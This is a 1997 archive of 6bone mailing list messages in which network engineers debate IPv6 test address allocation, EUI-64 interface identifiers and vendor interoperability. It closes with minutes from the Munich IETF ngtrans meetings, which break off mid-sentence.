From majordom@ISI.EDU  Fri Aug 29 08:24:36 1997
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Date: Fri, 29 Aug 1997 15:24:36 -0700 (PDT)
Message-Id: <199708292224.PAA08675@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: "Matt Crawford" <crawdad@fnal.gov>
Cc: 6bone@ISI.EDU
Subject: Re: current pTLA list - 28Aug97 
In-Reply-To: <199708292217.RAA12729@gungnir.fnal.gov>
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	<199708292217.RAA12729@gungnir.fnal.gov>
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>>>>> "Matt" == Matt Crawford <crawdad@fnal.gov> writes:

    >> I'd like to carve addresses from a separate TLA for
    >> interconnects (i.e. a TLA not associated with any site). It
    >> would be nice if somebody will step in and administer such a
    >> thing... if not i guess i'll have to volunteer.

    Matt> Pedro,

    Matt> Y'know, I've been wondering about the scalability of
    Matt> assigning a TLA per exchange.

Matt,

I wasn't thinking about a TLA per exchange but about a TLA from which
to allocate addresses to use in exchanges...

Needless to say nobody should annouce routes for that TLA...

  Pedro.

From majordom@ISI.EDU  Fri Aug 29 09:05:19 1997
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Date: Fri, 29 Aug 1997 16:05:19 -0700 (PDT)
Message-Id: <199708292305.QAA08828@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: Craig Metz <cmetz@inner.net>
Cc: 6bone@ISI.EDU
Subject: Re: current pTLA list - 28Aug97 
In-Reply-To: <199708292251.WAA03246@inner.net>
References: <199708291834.LAA08399@pedrom-ultra.cisco.com>
	<199708292251.WAA03246@inner.net>
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>>>>> "Craig" == Craig Metz <cmetz@inner.net> writes:

    Craig> In message <199708291834.LAA08399@pedrom-ultra.cisco.com>,
    Craig> you write:
    >> I'd like to carve addresses from a separate TLA for
    >> interconnects (i.e. a TLA not associated with any site). It
    >> would be nice if somebody will step in and administer such a
    >> thing... if not i guess i'll have to volunteer.

    Craig> 	I can do this if we decide that it's a good thing to
    Craig> do.

    Craig> 	However, I'm not sure that it's a good thing to
    Craig> do. The question here is whether the addresses associated
    Craig> with tunnels should be globally reachable or not.

Absolutely.

    Craig>  I would
    Craig> suggest that they should be, in which case they should come
    Craig> out of the prefix of one of the two sides of the tunnel.

It has been done this way until now and it works... The only pontential
problem is that when one site renumbers (and i really don't want to
discuss if renumbering is a good idea) you "loose" the prefix.

    Craig> 	This would all be *a lot* simpler IMO if
    Craig> implementations had a mode where the global and/or

    Craig> link-local

Link locals cannot be used.

    Craig>  off some other interface could be stolen for BGP
    Craig> neighbor purposes instead of treating a tunnel as a
    Craig> bi-directional point-to-point link with both global and
    Craig> link local addresses.

That can be done with global addresses. There are however good reasons to do
BGP over bi-directional point-to-point links, simplicity being one of them.

  Pedro.

From majordom@ISI.EDU  Mon Sep  1 01:22:34 1997
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From: bmanning@ISI.EDU (Bill Manning)
Message-Id: <199709011522.AA24966@zephyr.isi.edu>
Subject: Re: Release 5.2 is now available
To: Bertrand.Buclin@ch.att.com
Date: Mon, 1 Sep 1997 08:22:34 -0700 (PDT)
Cc: sun-ipv6-users@sunroof.eng.sun.com, 6bone@ISI.EDU
In-Reply-To: <034543B7FDC5D011BAC10000C06F25BE394899@gvamsx1.ch.att.com> from "Bertrand.Buclin@ch.att.com" at Sep 1, 97 01:30:27 pm
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> The 6Bone is planning to
> cut over to the new addressing scheme on October 1st, 

Is there any reason why people think that there will be only a single address
format running on the 6bone?

-- 
--bill

From majordom@ISI.EDU  Mon Sep  1 03:35:11 1997
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Date: Mon, 1 Sep 1997 10:35:11 -0700 (PDT)
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From: Pedro Marques <roque@cisco.com>
To: sun-ipv6-users@sunroof.Eng.Sun.COM
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: Release 5.2 is now available
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>>>>> "Bertrand" == Bertrand Buclin <Bertrand.Buclin@ch.att.com> writes:

    Bertrand> Mike, This is a very unfortunate position... During the
    Bertrand> last IETF meeting in Munich, we've been told that all
    Bertrand> the implementations that participated in the July UNH
    Bertrand> Interop testing did support the new addressing scheme
    Bertrand> and EUI-64 (I don't know though if Sun participated in
    Bertrand> that testing).  Based among other things on that
    Bertrand> statement, it was decided to migrate the 6Bone to the
    Bertrand> new addressing scheme

The new addressing scheme has no relation at all with the low 64bits of the
address.

So regardless of the changes in addressing you can still use 48-bit 802.3
link tokens.

    Bertrand>  so that it could be tested in a
    Bertrand> sort of real deployment.

Also, as Bill Manning has pointed out the two addressing formats will
co-exist in the 6bone for a while.

  Pedro.

From majordom@ISI.EDU  Mon Sep  1 17:38:43 1997
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From: Pedro Marques <roque@cisco.com>
To: sun-ipv6-users@sunroof.Eng.Sun.COM
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: Release 5.2 is now available
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>>>>> "Bertrand" == Bertrand Buclin <Bertrand.Buclin@ch.att.com> writes:


    >>  Pedro: The new addressing scheme has no relation at all with
    >> the low 64bits of the Pedro: address.
    Bertrand> [BB ] Sort of... The IPv6-over-Ethernet (draft-ietf-ipngwg-
    Bertrand> trans-ethernet-02.txt) is pretty clear: stateless
    Bertrand> autoconfiguration is based on the EUI-64 ID of the interface
    Bertrand>  (built from the 48 bits ID). How do you exchange packets on
    Bertrand> the link when two implementations are not using the same
    Bertrand> conventions to build link-local addresses ?

Bertrand,
IPv6 communication is still possible if different hosts are using different
autoconfiguration schemes. Autoconfiguration just creates address,
packets can flow between hosts regardsless of the mechanism used for
creating the address (manual conf, DHCP, 802.3 based statless or 802.3 +
some bits)

    >> 
    >> Pedro: So regardless of the changes in addressing you can still
    >> use 48-bit 802.3 Pedro: link tokens.

    Bertrand> As long as you are ready to manually configure your boxes...

Those are different issues: configuration and communication. Yes if you
only have new format routers old format hosts you have to manually configure
the global addresses (and vice-versa). But you may find that some vendors
are quite cooperative on this issues :-)

    >>  Pedro: Also, as Bill Manning has pointed out the two
    >> addressing formats will Pedro: co-exist in the 6bone for a
    >> while.

    Bertrand> On my site, I want to move to the 3FFE... addresses as soon
    Bertrand> as I can, and as of October 1st, get rid of the previous
    Bertrand> addresses.

That is even a separate issue. You can configure 3ffe address and still
use the previous autoconfiguration format. At the moment cisco is annoucing
both it's 3ffe prefix and it's 5f00::.../32 prefix and we are still using
the previous autoconf format.

    Bertrand> This is my choice. I agree that the two kinds of addresses will
    Bertrand> coexist on the 6Bone for a while, but as far as I am concerned,
    Bertrand>  I plan to not anymore use and advertise my current 5F... 
    Bertrand> prefix in a few weeks from now.

Then don't. BGP which is what actually gets the job done doesn't attribute any
special meaning to the prefix. Things will still work.

    Bertrand> So if other sites are still using their 5F... addresses,
    Bertrand> this is their choice, and indeed I can expect to still be able
    Bertrand> to communicate with those sites.

And you will.

    Bertrand> Bottom line, I still find Sun's decision very unfortunate...

With all due respect, some of the arguments you first presented are not
really acurate and you will probably find your vendor more responsive
if you bring the issue with them privatly instead of in a public forum.

   Pedro.

From majordom@ISI.EDU  Mon Sep  1 23:57:51 1997
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To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: Finland added to the country list
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I have added Finland to the 6bone country list. making 29 countries that I
know of.

Apparently I missed any notice of Finland coming online.  Can someone tell
me what Finish sites there are, and how they are connected, so I can add
them to the diagram?


Thanks,

Bob



From majordom@ISI.EDU  Tue Sep  2 00:04:37 1997
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Date: Tue, 2 Sep 1997 07:04:37 -0700
To: Pedro Marques <roque@cisco.com>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: current pTLA list - 28Aug97
Cc: 6bone@ISI.EDU, Bob Hinden <hinden@ipsilon.com>
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Pedro,

At 11:34 AM -0700 8/29/97, Pedro Marques wrote:
...
>I'd like to carve addresses from a separate TLA for interconnects (i.e. a
>TLA not associated with any site). It would be nice if somebody will step
>in and administer such a thing... if not i guess i'll have to volunteer.

I believe you mean exchanges?  We have several 6bone sites that will act as
exchanges, one of which is Digital-CA.

If a site becomes an exchange, then the tunnel must be going from the leaf
site to this site.  From the way you ask your question above I get the
impression that you want to hand out NLAs below the pTLA even if they
aren't directly connected.

Am I missing your intent, or are you trying to do a style of addressing
beyond the aggregatable address ID?


Thanks,

Bob



From majordom@ISI.EDU  Tue Sep  2 02:30:29 1997
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Date: Tue, 2 Sep 1997 09:30:29 -0700
To: Pedro Marques <roque@cisco.com>
From: Bob Fink <RLFink@lbl.gov>
Subject: RE: Release 5.2 is now available
Cc: 6bone@ISI.EDU (6BONE Mailer), Bob Hinden <hinden@ipsilon.com>,
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Pedro,

At 10:35 AM -0700 9/1/97, Pedro Marques wrote:
...
>The new addressing scheme has no relation at all with the low 64bits of the
>address.
>
>So regardless of the changes in addressing you can still use 48-bit 802.3
>link tokens.

As I read the Aggregatable Global Unicast Address Format I-D

ftp://ftp.ietf.org/internet-drafts/draft-ietf-ipngwg-unicast-aggr-02.txt

the new Interface ID is part of the new addressing scheme.

Thus we should be testing the new prefix format AND the new EUI-64 at the
same time.

==== from the draft
3.5 Interface ID

   Interface identifiers are used to identify interfaces on a link.
   They are required to be unique on that link.  They may also be unique
   over a broader scope.  In many cases an interface's identifier will
   be the same or be based on the interface's link-layer address.
   Interface IDs used in the aggregatable global unicast address format
   are required to be 64 bits long and to be constructed in IEEE EUI-64
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   format [EUI-64].  These identifiers may have global scope when a
   global token (e.g., IEEE 48bit MAC) is available or may have local
   scope where a global token is not available (e.g., serial links,
   tunnel end-points, etc.).  The "u" bit (universal/local bit in IEEE
   EUI-64 terminology) in the EUI-64 identifier must be set correctly,
   as defined in [ARCH], to indicate global or local scope.

   The procedures for creating EUI-64 based Interface Identifiers is
   defined in [ARCH].  The details on forming interface identifiers is
   defined in the appropriate "IPv6 over <link>" specification such as
   "IPv6 over Ethernet" [ETHER], "IPv6 over FDDI" [FDDI], etc.
====


>Also, as Bill Manning has pointed out the two addressing formats will
>co-exist in the 6bone for a while.

The goal is to move away from the old address format as quickly as
possible. In reality it should be what the 6bone community agrees on, and I
haven't heard much yet on this from the mailer.


Thanks,

Bob



From majordom@ISI.EDU  Tue Sep  2 02:40:02 1997
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Date: Tue, 2 Sep 1997 09:40:02 -0700 (PDT)
Message-Id: <199709021640.JAA09777@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: Bob Fink <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer), sun-ipv6-users@sunroof.Eng.Sun.COM
Subject: RE: Release 5.2 is now available
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>>>>> "Bob" == Bob Fink <RLFink@lbl.gov> writes:

    Bob> Pedro, At 10:35 AM -0700 9/1/97, Pedro Marques wrote: ...
    >> The new addressing scheme has no relation at all with the low
    >> 64bits of the address.
    >> 
    >> So regardless of the changes in addressing you can still use
    >> 48-bit 802.3 link tokens.

    Bob> As I read the Aggregatable Global Unicast Address Format I-D

    Bob> ftp://ftp.ietf.org/internet-drafts/draft-ietf-ipngwg-unicast-aggr-02.txt

    Bob> the new Interface ID is part of the new addressing scheme.

    Bob> Thus we should be testing the new prefix format AND the new
    Bob> EUI-64 at the same time.

Why ? Do you have any reason at all to tight the two things together ?
They are two completely separate mechanisms for completly distinct problems.

Further, operationally it makes no sense to me to try to connect the two
issues... the 6bone is an interconection of ipv6 sites, it should not concern
itself at all with autoconfiguration of hosts in a LAN.

  Pedro.



From majordom@ISI.EDU  Tue Sep  2 06:37:18 1997
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From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: Release 5.2 is now available 
In-Reply-To: Your message of Tue, 02 Sep 1997 00:38:43 PDT.
             <199709020738.AAA09625@pedrom-ultra.cisco.com> 
Date: Tue, 02 Sep 1997 11:37:18 -0500
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Pedro diz:
> IPv6 communication is still possible if different hosts are using different
> autoconfiguration schemes.  [...]
> 
> Those are different issues: configuration and communication. Yes if you
> only have new format routers old format hosts you have to manually configure
> the global addresses (and vice-versa). But you may find that some vendors
> are quite cooperative on this issues :-)

So, for a transitional period, will you let your routers include both
xxxx:xxxx:xxxx:xxxx::/64 and xxxx:xxxx:xxxx:xxxx:0::/80 in router
advertisements on a single link?  This would exercise the requirement
that

    An IPv6 address prefix used for stateless autoconfiguration
    of an Ethernet interface must (have a length of 64 bits | be 80
    bits in length).

depending on which generation of the spec is implemented.

From majordom@ISI.EDU  Tue Sep  2 03:11:17 1997
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Date: Tue, 2 Sep 1997 10:11:17 -0700
To: Pedro Marques <roque@cisco.com>
From: Bob Fink <RLFink@lbl.gov>
Subject: RE: Release 5.2 is now available
Cc: 6bone@ISI.EDU (6BONE Mailer), sun-ipv6-users@sunroof.Eng.Sun.COM
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Pedro,

At 9:40 AM -0700 9/2/97, Pedro Marques wrote:
>>>>>> "Bob" == Bob Fink <RLFink@lbl.gov> writes:
>
>    Bob> Pedro, At 10:35 AM -0700 9/1/97, Pedro Marques wrote: ...
>    >> The new addressing scheme has no relation at all with the low
>    >> 64bits of the address.
>    >>
>    >> So regardless of the changes in addressing you can still use
>    >> 48-bit 802.3 link tokens.
>
>    Bob> As I read the Aggregatable Global Unicast Address Format I-D
>
>    Bob>
>ftp://ftp.ietf.org/internet-drafts/draft-ietf-ipngwg-unicast-aggr-02.txt
>
>    Bob> the new Interface ID is part of the new addressing scheme.
>
>    Bob> Thus we should be testing the new prefix format AND the new
>    Bob> EUI-64 at the same time.
>
>Why ? Do you have any reason at all to tight the two things together ?
>They are two completely separate mechanisms for completly distinct problems.
>
>Further, operationally it makes no sense to me to try to connect the two
>issues... the 6bone is an interconection of ipv6 sites, it should not concern
>itself at all with autoconfiguration of hosts in a LAN.

Because we are testing the real implementations on both LAN and WAN.  And,
of course, because that is the standard (i.e., I-D) that we agreed to
implement and test. You had said that the new addressing scheme has no
relation to the low 64 bits, but it does in the spec.

Now I must admit I don't know what will break (if anything) if we don't
implement EUI-64 at the same time as the aggregatable prefix, but we should
try to test the real spec as much as possible.


Thanks,

Bob



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Date: Tue, 2 Sep 1997 10:28:32 -0700 (PDT)
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From: Pedro Marques <roque@cisco.com>
To: Bertrand.Buclin@ch.att.com
Cc: sun-ipv6-users@sunroof.Eng.Sun.COM, "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: Release 5.2 is now available
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>>>>> "Bertrand" == Bertrand Buclin <Bertrand.Buclin@ch.att.com> writes:

    Bertrand> Pedro, It sounds to me like we are not on the same
    Bertrand> wavelength...

    Bertrand> What I see TODAY on my Sun systems (running 5.2) tells
    Bertrand> me that Sun's current implementation does not
    Bertrand> interoperate with other systems implementing the new
    Bertrand> addressing scheme.

    Bertrand> The router on my LAN used to have FFE8::800:2bb7:87f8 as
						^^^^
fe80, ff is the prefix for multicast addresses.

Make sure your host has a route for fe80::0/10 (i.e. some implementations
como with a default config of /80 incorrectly) and things should work.

    Bertrand> I upgraded to router to a new code version implementing
    Bertrand> the EUI-64 stuff. It now has FFE8::A00:2bFF:FeB7:87f8 as
					   ^^^^
					   that is multicast again.

    Bertrand> link local address. The Sun cannot talk to it anymore
    Bertrand> now.

Since SUN did implement the earlier link-id draft that prepended bits to
the link token i would expect it to work. Have you tryed with the proper
link local address ?

  Pedro.

From majordom@ISI.EDU  Tue Sep  2 03:37:21 1997
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References: Your message of "Fri, 29 Aug 1997 14:17:15 PDT."            
 <199708292117.AA07153@zed.isi.edu>
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From: Bob Fink <RLFink@lbl.gov>
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At 6:49 PM -0700 8/29/97, Craig Metz wrote:
>In message <199708292117.AA07153@zed.isi.edu>, you write:
>>> I'd like to carve addresses from a separate TLA for interconnects (i.e. a
>>> TLA not associated with any site). It would be nice if somebody will step
>>> in and administer such a thing... if not i guess i'll have to volunteer.
>>
>>I was sort of hoping to use the 0000 range for this but craig beat us
>>to it.
>
>	If we decide that it's the right thing to do, I have no problem
>slicing addresses off that block for this purpose. I'm not sure that it's the
>right thing to do, though.

Are these needed for every site (ISP) peering with another?  How does this
scale in the real world, i.e., how does one handle the assignment of these
in the real world beyond a 6bone?


Bob



From majordom@ISI.EDU  Tue Sep  2 04:16:11 1997
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Subject: Re: Finland added to the country list
To: RLFink@lbl.gov (Bob Fink)
Date: Tue, 2 Sep 1997 11:16:11 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <v03102802b031cb30211c@[128.3.9.22]> from "Bob Fink" at Sep 2, 97 06:57:51 am
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> 
> I have added Finland to the 6bone country list. making 29 countries that I
> know of.
> 
> Apparently I missed any notice of Finland coming online.  Can someone tell
> me what Finish sites there are, and how they are connected, so I can add
> them to the diagram?
> 
> 
> Thanks,
> 
> Bob


;       Petri Helenius pete@silver.sms.fi 04aug97
0.0.a.c.c.0.f.5.ip6.int.        in      ns      ns.sms.fi.
;       Matti Aarnio <matti.aarnio@tele.fi>  26aug97
0.0.0.f.0.2.f.5.ip6.int.        in      ns      mea.tmt.tele.fi.



--bill

From majordom@ISI.EDU  Tue Sep  2 04:11:44 1997
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Subject: Re: Release 5.2 is now available
To: RLFink@lbl.gov (Bob Fink)
Date: Tue, 2 Sep 1997 11:11:44 -0700 (PDT)
Cc: roque@cisco.com, 6bone@ISI.EDU, hinden@ipsilon.com,
        sun-ipv6-users@sunroof.eng.sun.com
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> >Also, as Bill Manning has pointed out the two addressing formats will
> >co-exist in the 6bone for a while.
> 
> The goal is to move away from the old address format as quickly as
> possible. In reality it should be what the 6bone community agrees on, and I
> haven't heard much yet on this from the mailer.
> 
> Thanks,
> 
> Bob

Hum.  A goal for some will be to move from one address format to another.
As I understand, both types remain valid and ought to be accepted.
The IPv4 analogy I might use here is:

	"People must renumber all the hosts in the 1-126 range 
	 and go to the 192 range since the 192 range has CIDR
	 support and the 1-126 does not."

Or is there something else going on here?

--bill

From majordom@ISI.EDU  Tue Sep  2 13:11:12 1997
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To: bmanning@ISI.EDU
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        hinden@ipsilon.com, sun-ipv6-users@sunroof.eng.sun.com
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             <199709021811.AA18746@zed.isi.edu> 
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Bill,

>Hum.  A goal for some will be to move from one address format to another.
>As I understand, both types remain valid and ought to be accepted.
>The IPv4 analogy I might use here is:
>
>	"People must renumber all the hosts in the 1-126 range 
>	 and go to the 192 range since the 192 range has CIDR
>	 support and the 1-126 does not."
>
>Or is there something else going on here?

The 6bone is a test vehicle and we now have new agreed to specs for the
low order 64bits per IPv6 over foo (choose your flavor).  Bob Fink is
correct we should be testing the new specs.  If vendors have not
implemented them that is a problem.  It was my impression all had done
so at UNH but some may not have offered new kits out to users.  I know
we just updated our kit and it will also support a backwards
compatibility mode if there are nodes on the net that do not yet support
the new interface ID spec.  

I personally believe we should select a drop dead date when the old form
of IPv6 over Foo is no longer supported on the 6bone.  All nodes must do
the new specs and we can get rid of carrying around the backwards
compatibility mode in all implementations.

Bob I suggest you pick a date that we shoot for that is reasonable to
all ???

/jim


From majordom@ISI.EDU  Wed Sep  3 06:56:19 1997
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Date: Wed, 3 Sep 1997 10:56:19 -0400 (EDT)
From: J Scott Thompson <jthompso@cs.utk.edu>
To: bound@zk3.dec.com
Cc: bmanning@ISI.EDU, Bob Fink <RLFink@lbl.gov>, roque@cisco.com,
        6bone@ISI.EDU, hinden@ipsilon.com, sun-ipv6-users@sunroof.eng.sun.com,
        ipng.sunroof.Eng.Sun.COM@cs.utk.edu
Subject: Performance Measurement 
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I am interested in focussing my Master's Thesis work in measurement of
network performance. Specifically, I would like to develop a means by
which historical data can be collected and made public looking at various
metrics (bandwidth, latency, etc.), on various networks (6bone, ESNet,
VBNS, etc.). Additionally, I would like to develop a means by which
researchers can get real-time data for connections of interest (through
CGI scripts or Java Applets executed from web pages).

I am especially interested in trying to identify changes in network
performance as the industry continues in its conversion to IPv6 and
ATM over the coming years.

I would appreciate feedback regarding this project.

Specifically:

 1) What metrics are the research community most interested in?

 2) What metrics are measurable now using current tools?

 3) What metric data are desired but which are currently not measurable
    using any known tools?

 4) Is there anyone (or any group) currently interested in and working
    on similar measurements.

 5) Any suggestions regarding a "good place to start" with a project of
    this nature.

Jay Thompson
University of Tennessee 
Computer Science Department
jthompso@cs.utk.edu


From majordom@ISI.EDU  Wed Sep  3 09:46:47 1997
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Date: Wed, 3 Sep 1997 16:46:47 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: Munich IETF ngtrans-tools & -6bone WG minutes
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6bone folk,

Enclosed are the minutes of the Munich IETF ngtrans-tools and ngtrans-6bone
WG meetings.


Thanks,

Bob

_____________cut
here___________________________________________________________

Ngtrans-tools WG meeting
August 12, 1997
Munich IETF

Tony Hain  Microsoft chair (co-chair of ngtrans)
Reported by ALain Durand and Tony Hain

Discussion:	ngtrans@sunroof.eng.sun.com
Subscribe: 	majordomo@sunroof.eng.sun.com
Archive: 	ftp://playground.sun.com/pub/ngtrans
Chairs:		Bob Fink rlfink@lbl.gov
		Robert Gilligan gilligan@freegate.net
		Tony Hain tonyhain@microsoft.com

Notes for the minutes courtesy of Alain Durand  durand@imag.fr

Tools session: 	Various reports and plans were presented.

Brian Carpenter (IBM, UK) reported that the "6 over 4" draft will be
refreshed with no changes.

Tony Hain (Microsoft, US) noted that the charter wording would be
cleaned up to address concerns about the appearance we are mandating a
scenario, and sent back to the list.

Jim Bound (Digital, US) presented the NNAT concept as a means of
dynamically assigning v4 addresses as needed for primarily v6 nodes.
Goal is to allow primarily v6 work groups to be deployed soon, without
requiring a permanent address in the v4 Internet. Attaining that
requires core applications be available over the v6 stack sooner. Also
requires a tie between the DNS and some form of DHCP service with a pool
of v4 addresses. Some applications may not need or want connections with
the v4 Internet, and should not be required to implement the extra code.

Erik Nordmark (Sun, US) noted that the time to start thinking about
translators to allow v4 only to v6 only has arrived. Some systems may
arrive in the market as v6 only. Erik presented an overview of his ID
(draft-ietf-ngtrans-header-trans-00.txt) and the rules for both
directions. Tunneling v4 in v6 may be required for v4 compatible node
within a v6 only routing system. Another option is a set of stateless
translators that would convert the headers on the fly, but would not
attempt v4 options.

Pedro Marques (Cisco, US) discussed ideas about transparent translation
where hosts were unaware of the translator. Does not require tie to DNS
& DHCP, and Cisco has a prototype running. He will submit an ID to the
list for comment.

Dan Harrington (Lucent, US) reported that the update to the ID
(draft-harrington-ngtrans-dhcp-option-00.txt) would reflect the assigned
number from IANA.

_____________cut
here___________________________________________________________

ngtrans-6bone WG meeting
August 12, 1997
Munich IETF

Bob Fink ESnet/LBNL chair (co-chair of ngtrans)
Reported by ALain Durand and Bob Fink

Discussion:	6bone@isi.edu (6BONE Mailer)
Subscribe: 	majordomo@isi.edu     "subscribe 6bone"
Archive: 	http://www.ipv6.nas.nasa.gov/6bone/
Chairs:		Bob Fink rlfink@lbl.gov
		Robert Gilligan gilligan@freegate.net
		Tony Hain tonyhain@microsoft.com

--------------------------------------------------------
Agenda
--------------------------------------------------------

1. Introduction and agenda / Fink
2. Status of action items from Memphis / Fink
3. New 6bone registry, oveview and issues / Kessens
4. Backbone planning / Fink, Durand, Davies
5. Test plan for aggregation-based addressing / Fink
6. Operational issues on the 6bone / various
7. Implementations in use on the 6bone / Fink

--------------------------------------------------------
1. Introduction and agenda / Fink
--------------------------------------------------------

Bob Fink convened the meeting, giving a status report on the 6bone.

There are now over 150 sites in 28 countries participating in the 6bone.

BGP4+ has been successfully deployed in the 6bone backbon, with 3
interoperable implementations (Cisco, Digital and Telebit), and is rapidly
replacing RIPng, IDRPv6 and static routes in the backbone.

The 6bone now has its own domain, 6bone.net, through which the 6bone web
pages and registry database is available.

The primary DNS for 6bone.net is located at LBNL, and the secondary name
servers are at RIPE an APNIC.

The 6bone web pages are now available at:

	http://www.6bone.net

The mail list is available by sending email to

	majordomo@isi.edu

with
	subscribe 6bone

in the body of the message.

The agenda was accepted without comment.

--------------------------------------------------------
2. Status of action items from Memphis / Fink
--------------------------------------------------------

Bob Fink reviewed the status of 6bone action items from the Memphis IETF.

2.1 CAIRN Backbone Proposal - Allison Mankin
Allison Mankin will readdress this issue at the December meeting.

2.2 RFC1987 changes to use virtual IPv6 provide ID - Hsin Fang
Hsin Fang removed this item from further consideration as the new Test
Aggregation-based addressing plan supercedes it.

2.3 Aggregation-based Addressing structure for the 6bone - Bob Fink
Bob Fink will present his plan, as issued previously to the 6bone mail
list, under agenda item 5. below.

2.4 I-D "Representing IPv6 Tunnels in RPSL" - David Meyer
This item is now closed as it has been implemented in the new 6bone registry.

2.5 New 6bone Registry - David Kessens
David Kessens will present the status of the registry under agenda item 3.
below.

2.6 DNS for localized 6bone routing registry information - Bill Manning
Bill Manning would like to continue pursuing this idea.  He earlier told
the chair that he would come forward with a plan in the near future as to
how he would like to proceed.  The chair will close this item and await
further submission from Bill before reactivating it.

2.7 Volunteer for I-D on requirements for new 6bone infrastructure - Bob Fink
Bob Fink reported that he has previously had several offers to help on such
a draft.  He noted that when the address conversion and backbone
restructuring of the 6bone is done, he will reopen this action as
appropriate.

2.8 Survey of host and router implementations on the 6bone - Bob FInk
Bob Fink will report on this survey under agenda item 7 below.

--------------------------------------------------------
3. New 6bone registry, oveview and issues / Kessens
--------------------------------------------------------

David Kessens reported that the conversion away from the old ftp-style
6bone registry to the new RIPE-style 6bone registry was completed in early
June.  He autmatically mapped over all entries.  The status of the new
database is that there are 172 site objects and 130 persons registered.
The query level is at ~200 per day.  There are two mirror sites:
whois.nic.fr and whois.ra.net,

David noted that his draft on the registry specification,

              draft-ietf-ngtrans-6bone-registry-01.txt

has been updated and it would be processed as an Informatinal RFC.

David also noted that his registry was ready and capable of becoming an
address registry for Aggregation-based Unicast addresses, if it was
desirable.

--------------------------------------------------------
4. Backbone planning / Fink, Durand, Davies
--------------------------------------------------------

Bob Fink spoke about the need to restructure the backbone to minimize
peering, as opposed to full mesh peering, and that the renumbering for
aggregation-based addressing might be a good time to accomplish this.  He
also noted the importance of moving to BGP4+ peering.

Alain Durand, of the G6 project in France, spoke on plans to restructure
the G6 collaborators for the coming readdressing required for the move to
Aggregation-based addressing.

Guy Davies, of UUNET/UK, spoke on plans to restructure the UK academic
6bone backbone, both to cleanup the topology and ready for the readdressing
required for the move to Aggregation-based addressing.  He also noted the
problems in the current 6bone backbone with sloppy peering arrangements and
poor aggregation.

A major problem for the UK academic networks is that the 6bone backbone
topology is too complex, there is not optimal aggregation, and there are
bad RIPng problems. proposal: get accademic sites to single homed OR use
BGP4+ map of Uk sites:

The graphs from Guy's presentation are available at:

	http://www.pipex.net/~guyd/6bone/IETF-presentation/


--------------------------------------------------------
5. Test plan for aggregation-based addressing / Fink
--------------------------------------------------------

Bob Fink noted that the most important work ahead of the 6bone is
conversion to the new Test address format for Aggregation-based Global
Unicast addressing that is about to move to experimental RFC status.

At a meeting later in the IETF week (Thursday at 11:30), those interested
in the 6bone backbone planning met to discuss issues for the
restructuring/cleanup of the backbone, as well as the address conversion.
This meeting was reported in an email to the 6bone mail list that evening,
and is reproduced as an addendum to these minutes.

Then Bob presented the plan for 6bone use of the Test address format, which
is the material presented on the 6bone mail list in late May.  This
material is reproduced as an addendum to these minutes.


--------------------------------------------------------
6. Operational issues on the 6bone / various
--------------------------------------------------------

Matt Crawford spoke on multihoming on the 6bone.  He noted that a site
multihome to the same provider needs only one prefix if that provider knows
how to handle the extra route.

When connected to two or more providers it will (most likely) be necessary
to have multiple prefixes.


How much interconnection for backbone sites?  There is too much as of
today. This is recognized as one topic for discussion as the backbone is
restructured for the new addressing format.


--------------------------------------------------------
7. Implementations in use on the 6bone / Fink
--------------------------------------------------------

Bob Fink reported ion his survey of IPv6 implemenations.

This survey may not be completely accurate, however, it is fairly close
having been circulated for comment on the 6bone mail list.

Host implementations in use on the 6bone are:

Digital OpenVMS             Digital Unix
FTP Software Win95          Hitachi NR60
IBM AIX                     Inria BSD
Linux                       SICS HP-UX
Sun Solaris                 UNH for BSD
NRL for BSD                 WIDE Hydrangea for BSD
WIDE ZETA for BSD           WIDE v6d

Host implementations in use on the 6bone are:

Bay                         Cisco
Digital                     Fujitsu LR550
Hitachi NR60                Inria BSD
Linux                       Merit MRT
NRL for BSD                 Telebit
WIDE Hydrangea for BSD      WIDE ZETA for BSD
WIDE v6d

--------------------------------------------------------
Addendum - Report of ad hoc 6bne Backbone planning meeting
--------------------------------------------------------
6bone backbone planning meeting - 14 August 1997, Munich, DE.

Alain Durand held a BOF for those interested in 6bone backbone planning
under the new test aggregation address format.  There were 27 people in
attendance.

Alain Durand (G6, FR) spoke on the need to minimize backone tunnels to
clean up routing.  There were comments for this, explaing the reasons why
it is needed at this time, and comments as to why we shouldn't worry about
this.

Stephen Stuart (Digital-ca, US) spoke on reasons to cleanup peering, and to
have multiple interconnect points for ISP TLA's.

Matt Crawford showed various multi-prefix scenarios.

There was a general consensus that there was a need to simplify the 6bone
bacbone topology.

Bob Fink (ESnet/LBNL, US) then led a discussion to generate a plan for
readdressing and backbone restructuring. This discussion led to the
following general agreements:

1. that we assign Testing pTLAs (i.e., pseudo TLAs assigned from the NLA1
field of the 6bone Test address allocation) from the Test Aggregation
addressing I-D as follows:

TELEBIT/DK	3FFE:0100::/24
SICS/SE		3FFE:0200::/24
G6/FR		3FFE:0300::/24
JOIN/DE		3FFE:0400::/24
WIDE/JP		3FFE:0500::/24
SURFNET/NL	3FFE:0600::/24
ESNET/US	3FFE:0700::/24
CICNET/US	3FFE:0800::/24
ISI-LAP/US	3FFE:0800::/24
NWNET/US	3FFE:0A00::/24
VIAGENIE/CA	3FFE:0B00::/24
CISCO/US	3FFE:0C00::/24
ANS/US		3FFE:0D00::/24
IFB/UK		3FFE:0E00::/24
NRL/US		3FFE:0F00::/24
CSELT/IT	3FFE:1000::/24
UUNET/UK	3FFE:1100::/24
DIGITAL-CA/US	3FFE:1200::/24
BAY/US		3FFE:1300::/24
UNI-C/DK	3FFE:1400::/24

Note: we started at 1 because Bob is nervous about using 0 :-)

2. that we establish October 1 as the start date for renumbering the
backbone to testing aggregation addresses, with the goal of November 1 for
